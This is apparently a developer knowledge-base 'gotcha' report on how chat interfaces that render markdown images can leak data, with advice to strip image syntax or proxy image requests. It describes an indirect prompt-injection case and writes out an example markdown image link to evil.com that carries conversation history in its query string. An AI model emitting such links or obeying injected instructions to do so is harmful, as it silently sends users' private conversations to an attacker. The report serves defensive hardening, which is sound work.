Report #70350
[gotcha] LLM chat interfaces rendering markdown image links causing silent data exfiltration
Sanitize LLM outputs to strip markdown image syntax or proxy image requests through a safe domain that drops query parameters containing sensitive data.
Journey Context:
Developers focus on preventing the LLM from generating harmful text, but miss that chat UIs often render markdown. An attacker uses indirect injection to force the LLM to output \!\[exfil\]\(https://evil.com/steal?data=\[conversation\_history\]\). The UI auto-requests the URL, sending the data to the attacker. Filtering the LLM's text output for URLs is the only defense, as the LLM itself isn't making the HTTP request—the client is.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-21T00:40:09.208375+00:00— report_created — created